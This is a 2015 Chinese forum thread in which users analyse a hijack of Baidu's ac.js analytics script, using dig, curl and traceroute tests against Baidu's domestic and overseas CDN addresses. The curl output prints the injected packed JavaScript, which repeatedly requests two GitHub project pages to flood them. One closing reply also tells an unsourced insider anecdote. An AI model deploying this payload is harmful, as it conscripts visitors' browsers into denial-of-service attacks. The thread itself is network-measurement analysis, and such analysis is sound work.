先说自己的结论。分析来看,有很大把握怀疑,本次GFW劫持的是百度海外CDN回国连接,并没有直接劫持用户到CDN的链接。直接给CDN投毒,比劫持用户链接恶劣而且隐蔽得多。
坐标广东深圳,使用某JS位于peer1的VPN作为出口。VPN interface为tun0。8.8.8.0/24已默认走VPN。
测试链接为http://dup.baidustatic.com/tpl/ac.js。
百度统计国外CDN解析:
[siyanmao@siyanmao-k29 ~]$ dig dup.baidustatic.com @8.8.8.8
; <<>> DiG 9.9.2-P2 <<>> dup.baidustatic.com @8.8.8.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51040
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;dup.baidustatic.com. IN A
;; ANSWER SECTION:
dup.baidustatic.com. 2938 IN CNAME ecomcbjs.jomodns.com.
ecomcbjs.jomodns.com. 59 IN CNAME ecomcbjs.wshifen.com.
ecomcbjs.wshifen.com. 299 IN A 180.76.3.138
;; Query time: 531 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sat Apr 4 13:07:22 2015
;; MSG SIZE rcvd: 126
百度统计国内CDN地址解析:
[siyanmao@siyanmao-k29 ~]$ dig dup.baidustatic.com @114.114.114.114
; <<>> DiG 9.9.2-P2 <<>> dup.baidustatic.com @114.114.114.114
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22259
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;dup.baidustatic.com. IN A
;; ANSWER SECTION:
dup.baidustatic.com. 5030 IN CNAME ecomcbjs.jomodns.com.
ecomcbjs.jomodns.com. 30 IN A 58.215.123.49
;; Query time: 25 msec
;; SERVER: 114.114.114.114#53(114.114.114.114)
;; WHEN: Sat Apr 4 13:10:10 2015
;; MSG SIZE rcvd: 95
在国内请求国内地址,尝试若干次,没有发现劫持现象。
root@Cat_FireWall:~# curl --interface pppoe-pppoe_tel http://58.215.123.49/tpl/ac.js | grep github
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 167 100 167 0 0 3036 0 --:--:-- --:--:-- --:--:-- 3092
在国内请求国外地址,发现劫持现象。
root@Cat_FireWall:~# curl --interface pppoe-pppoe_tel http://180.76.3.138/tpl/ac.js | grep github
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1130 100 1130 0 0 2457 0 --:--:-- --:--:-- --:--:-- 2456
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeout|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))
在国外请求国内地址,尝试若干次,未发现劫持现象。
root@Cat_FireWall:~# curl --interface tun0 http://58.215.123.49/tpl/ac.js | grep github
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 167 100 167 0 0 243 0 --:--:-- --:--:-- --:--:-- 243
在国外请求国外地址,发现劫持现象。
root@Cat_FireWall:~# curl --interface tun0 http://180.76.3.138/tpl/ac.js | grep github
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1130 100 1130 0 0 1635 0 --:--:-- --:--:-- --:--:-- 1635
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeout|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))
附上traceroute结果:
国内到国内:
root@Cat_FireWall:~# traceroute -n -w 1 -i pppoe-pppoe_tel 58.215.123.49
traceroute to 58.215.123.49 (58.215.123.49), 30 hops max, 38 byte packets
1 ------------- 3.759 ms 2.109 ms 2.328 ms
2 ------------- 8.620 ms 1.946 ms 17.896 ms
3 58.60.24.33 2.590 ms 2.333 ms 2.451 ms
4 183.56.66.2 3.262 ms 3.915 ms 183.56.65.86 3.690 ms
5 202.97.47.165 26.488 ms 23.881 ms 28.291 ms
6 61.160.130.50 25.855 ms 26.168 ms 24.748 ms
7 * * *
8 * * *
9 * * *
10 * * *
11 * * *
12 * * *
13 * * *
14 * * *
15 * * *
16 * *^C
国内到国外:
root@Cat_FireWall:~# traceroute -n -w 1 -i pppoe-pppoe_tel 180.76.3.138
traceroute to 180.76.3.138 (180.76.3.138), 30 hops max, 38 byte packets
1 ------------- 3.451 ms 2.017 ms 2.162 ms
2 ------------- 1.919 ms 3.072 ms 1.432 ms
3 119.145.220.82 2.140 ms 2.300 ms 2.317 ms
4 183.56.65.78 10.582 ms 1.811 ms 183.56.65.74 2.364 ms
5 202.97.64.14 6.494 ms 202.97.64.90 6.247 ms 202.97.64.10 7.423 ms
6 202.97.33.214 9.657 ms 7.747 ms 202.97.33.202 4.956 ms
7 202.97.61.234 9.073 ms 7.286 ms 7.871 ms
8 202.97.60.214 161.911 ms 164.494 ms 165.175 ms
9 129.250.6.96 178.692 ms 173.779 ms 129.250.6.200 173.363 ms
10 129.250.3.89 225.555 ms 129.250.2.121 224.995 ms 129.250.3.89 224.500 ms
11 129.250.6.125 232.907 ms 129.250.6.115 241.194 ms 129.250.6.125 232.442 ms
12 129.250.3.11 213.466 ms 203.131.246.146 209.703 ms 129.250.3.11 213.506 ms
13 203.131.246.146 207.230 ms 211.049 ms 212.382 ms
14 * * *
15 * * *
16 * * *
17 * * *
18 * * *
19 * * *
20 * * *
21 * * *
22 * * *
23 *^C
国外到国内:
root@Cat_FireWall:~# traceroute -n -w 1 -i tun0 58.215.123.49
traceroute to 58.215.123.49 (58.215.123.49), 30 hops max, 38 byte packets
1 -------------- 195.947 ms 197.496 ms 197.131 ms
2 * * *
3 216.187.88.137 198.443 ms 196.670 ms 216.187.88.37 196.077 ms
4 4.53.230.5 218.506 ms 77.67.70.205 196.052 ms 201.644 ms
5 4.53.230.5 205.076 ms 218.30.53.33 197.377 ms 4.53.230.5 231.133 ms
6 4.69.152.17 210.480 ms 205.735 ms *
7 4.53.210.114 205.601 ms 4.53.210.110 204.958 ms 202.97.50.1 335.257 ms
8 202.97.49.21 208.979 ms 202.97.35.105 363.427 ms 392.479 ms
9 202.97.49.21 207.914 ms 202.97.33.29 343.229 ms 202.97.49.21 207.652 ms
10 202.97.50.109 370.422 ms 202.97.35.105 373.707 ms 202.97.50.109 370.264 ms
11 202.97.33.29 348.333 ms 347.784 ms *
12 202.97.39.94 350.945 ms 58.215.128.78 356.080 ms *
13 202.97.39.94 349.851 ms * 352.852 ms
14 202.102.19.146 382.604 ms * *
15 * * *
16 * * *
17 * * *
18 * * *
19 * * *
20 * * *
21 * * *
22 * * *
23 * * *
24 * * *
25 * * *
26^C
国外到国外:
root@Cat_FireWall:~# traceroute -n -w 1 -i tun0 180.76.3.138
traceroute to 180.76.3.138 (180.76.3.138), 30 hops max, 38 byte packets
1 ------------- 183.651 ms 184.821 ms 184.487 ms
2 * * *
3 216.187.88.37 183.902 ms * 216.187.88.137 185.452 ms
4 216.187.88.61 185.633 ms 216.187.124.120 186.372 ms 206.72.210.114 186.115 ms
5 216.187.88.57 188.105 ms 118.143.224.1 414.602 ms 216.187.124.120 185.231 ms
6 118.143.224.9 419.347 ms 118.143.238.20 421.086 ms 118.143.224.9 421.095 ms
7 218.189.31.102 422.702 ms 118.143.224.25 429.397 ms 118.143.238.20 415.053 ms
8 * 218.189.5.20 419.124 ms 218.189.31.102 416.379 ms
9 * * *
10 * * *
11 * * *
12 * * *
13 * * *
14 * * *
15 * * *
16 * * *
17 * * *
18 * * *
19 * * *
20 * * *
21 * * *
22 * * *
23 * * *
24 * * *
25 * *^C
1
sdysj 2015-04-04 13:33:30 +08:00
技术烂还恶心,国家队就这水平了。。。
|
2
yksoft1 2015-04-04 13:52:30 +08:00
你意思是gfw并不是劫持所有访问百度国内CDN的流量,而是劫持百度国外CDN镜像与国内的通信么
|
3
yksoft1 2015-04-04 13:56:16 +08:00
不过这个推测也很可能是错误的,gfw在10年前就有DPI能力,完全可以做到访问百度国内CDN使用HTTP头来劫持,同时也劫持百度国外CDN镜像与国内的通信
|
4
siyanmao OP @yksoft1 根据上面现象判断,GFW劫持百度海外CDN镜像与国内通信这种可能性最大,也是解释上面现象最简单的方法。
|
5
i8s301a 2015-04-04 14:05:10 +08:00 via Android
问一个可能很笨的问题,墙怎么区分一般海外用户的连接和海外CDN的连接?
另外,通常CDN对静态文件都会有缓存,如果楼主假设是正确的话,这是不是可以说明为什么出现被劫持的js是时有时无的(一部分CDN内的缓存还没过期所以暂时没被投到毒)? |
6
yksoft1 2015-04-04 14:06:06 +08:00
@siyanmao 不过问题是,前一段github被攻击的分析中,确实出现了TTL突兀的抢答包。如果之前也是这样的劫持方式的话,用户应该完全无法感知到通信遭到干扰啊,毕竟海外用户与百度海外CDN间是没有墙的。
|
7
siyanmao OP @yksoft1 我抓了下包,从国内请求百度国外CDN似乎没有被干扰的迹象。TTL、IPID、TCP窗口之类的都处于正常模式,无论返回是否是污染过的内容,上面说到的特征字段也无明显区别,RTT都在220ms左右。加上GFW管不到国外,所以我觉得,劫持海外CDN回国链接的概率还是很大的。
从之间的抓包来看,确实GFW有伪造返回。估计这次GFW变换了劫持方式,以免落下口实。 |
9
yksoft1 2015-04-04 14:38:02 +08:00
@siyanmao 这次新一轮的劫持貌似还没有对github的访问造成影响,github这次貌似是请了个专业的防D公司Prolexic来顶着
等这一次事情又闹大,洋人的分析就会比较麻烦了 也许你这篇文章会被翻译转载出去 |
12
palxex 2015-04-04 15:32:41 +08:00 1
。。。按这个测试结果,这个观察角度可不算最简单。更简单的角度是……180开头这个服务器对全世界返回的结果都是攻击github的,58开头这个对全世界都不是。
|
13
kisshere 2015-04-04 15:33:18 +08:00 via Android
不要这么说,至少GFW算是工作效率最高的国企了,还记得曾经GFW在上海交大招聘那个帖子了么,人家都是招博士生,技术在国际上应该还是响当当的,是我们国家的骄傲
|
14
infinte 2015-04-04 15:54:06 +08:00
180.76.3.138 服务器居然是在国外,我从国内用 curl 'http://v2ex.com' --resolve 'v2ex.com:80:180.76.3.138' 测居然收到了 RST
|
15
infinte 2015-04-04 16:01:22 +08:00
在 koding 的虚拟机上测试
curl 'http://v2ex.com' --resolve 'v2ex.com:80:180.76.3.138' 没有观察到 RST,国内测试则发现了——这下好玩了,劫持者不是在国外用户和百度之间,而是在百度和国内用户之间,只不过因为国内用户不用这个 ip 而观察不到劫持现象 |
16
infinte 2015-04-04 16:16:32 +08:00
好玩的来了:用 v2ex 的 IP 测试
```curl.exe 'http://dup.baidustatic.com/tpl/ac.js' --resolve 'dup.baidustatic.com:80:104.238.160.183'``` 没有观察到劫持,也就是说,要么劫持者是针对百度的 ip,要么就是劫持行为已经停止,现在发现的内容篡改都是百度服务器被污染的结果 |
17
infinte 2015-04-04 16:26:21 +08:00
|
20
swordfeng 2015-04-04 18:44:19 +08:00 via Android
这些搞攻击的人都是被一把刀架到脖子上了吗。。。
|
23
asd234ddd 2015-04-04 22:59:54 +08:00
这个解析在哪里解析的?
|
24
nvidiaAMD980X 2015-04-05 01:13:14 +08:00 via Android
@kisshere 我觉得GFW是工作效率最高的流氓机构………还有GFW怎么会是国家的骄傲呢?是熊猫国的骄傲吧!
|
25
402645707 2015-04-05 01:21:01 +08:00
主要是想吐槽,GFW根本什么都没干
<引用>《反恐怖主义法》草案。据中国人大网公布的草案全文,第十五条拟规定,电信业务经营者、互联网服务提供者应当在电信和互联网的设计、建设和运行中预设技术接口,将密码方案报密码主管部门审查。未预设技术接口,或者未报审密码方案的,相关产品或者技术不得投入使用。已经投入使用的,主管部门应当责令其立即停止使用。在中华人民共和国境内提供电信业务、互联网服务的,应当将相关设备、境内用户数据留存在中华人民共和国境内。拒不留存的,不得在中华人民共和国境内提供服务。</引用> 2015年3月某日 百度收到CNNIC来检查海外服务器的通报, 一大群人在门口等候, 一堆领导带队一堆工程师来了, 据不愿意透露姓名的林石公回忆称这次似乎和往常不一样,貌似是来搞中国现阶段国际化战略的。 往常来抽烟喝酒打游戏的人居然进机房去了,貌似还接了根专线到CNNIC总部 然后我们的海外广告系统就莫名其妙的多了好多流量,最高权限不在我们这,所以服务器的情况我也不了解...... |